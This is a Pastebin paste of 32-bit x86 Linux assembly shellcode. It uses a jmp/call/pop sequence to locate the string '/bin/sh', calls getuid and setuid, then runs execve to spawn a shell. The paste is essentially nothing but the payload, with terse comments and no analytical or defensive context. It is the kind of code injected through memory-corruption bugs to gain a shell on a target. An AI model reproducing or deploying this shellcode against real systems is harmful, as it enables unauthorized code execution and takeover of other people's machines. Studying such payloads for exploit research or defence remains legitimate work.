Advertisement
Guest User

Untitled

a guest
May 28th, 2017
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .section .text
  2.     .globl main
  3.     main:
  4.         jmp    bringoutthegimp
  5.  
  6.     the_gimp:
  7.         popl   %esi             #. ESI(arg4) = "/bin/sh:----____"
  8.  
  9.         #. getuid()
  10.         xor    %eax, %eax
  11.         movb   $24, %al
  12.         int    $0x80            #. Wake the kernel
  13.  
  14.         #. setuid()
  15.         movl   %eax, %ebx
  16.         xor    %eax, %eax
  17.         movb   $23, %al
  18.         int    $0x80            #. Wake the kernel
  19.  
  20.         #. execve(shell[0], shell, NULL);
  21.         xor    %eax, %eax       #. EAX = 0x00000000
  22.         mov    %al,  0x7(%esi)  #. ESI(arg4) = "/bin/sh" (+ '\0' + "----____")
  23.         leal   0x0(%esi), %ebx  #. EBX(arg1) = &ESI
  24.         movl   %ebx, 0x8(%esi)  #. ESI(arg4) = "/bin/sh" (+ '\0' + &ESI + "____")
  25.         movl   %eax, 0xc(%esi)  #. ESI(arg4) = "/bin/sh" (+ '\0' + &ESI + "\0\0\0\0")
  26.         mov    $0x0b, %al       #. EAX = 0x0000000b (execve)
  27.         movl   %esi, %ebx       #. EBX(arg1) = ESI = "/bin/sh"
  28.         leal   0x8(%esi), %ecx  #. ECX(arg2) = &ESI = &"/bin/sh"
  29.         leal   0xc(%esi), %edx  #. EDX(arg3) = NULL
  30.         int    $0x80            #. Wake the kernel
  31.  
  32.     bringoutthegimp:
  33.         call   the_gimp
  34.         .ascii "/bin/sh:----____"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement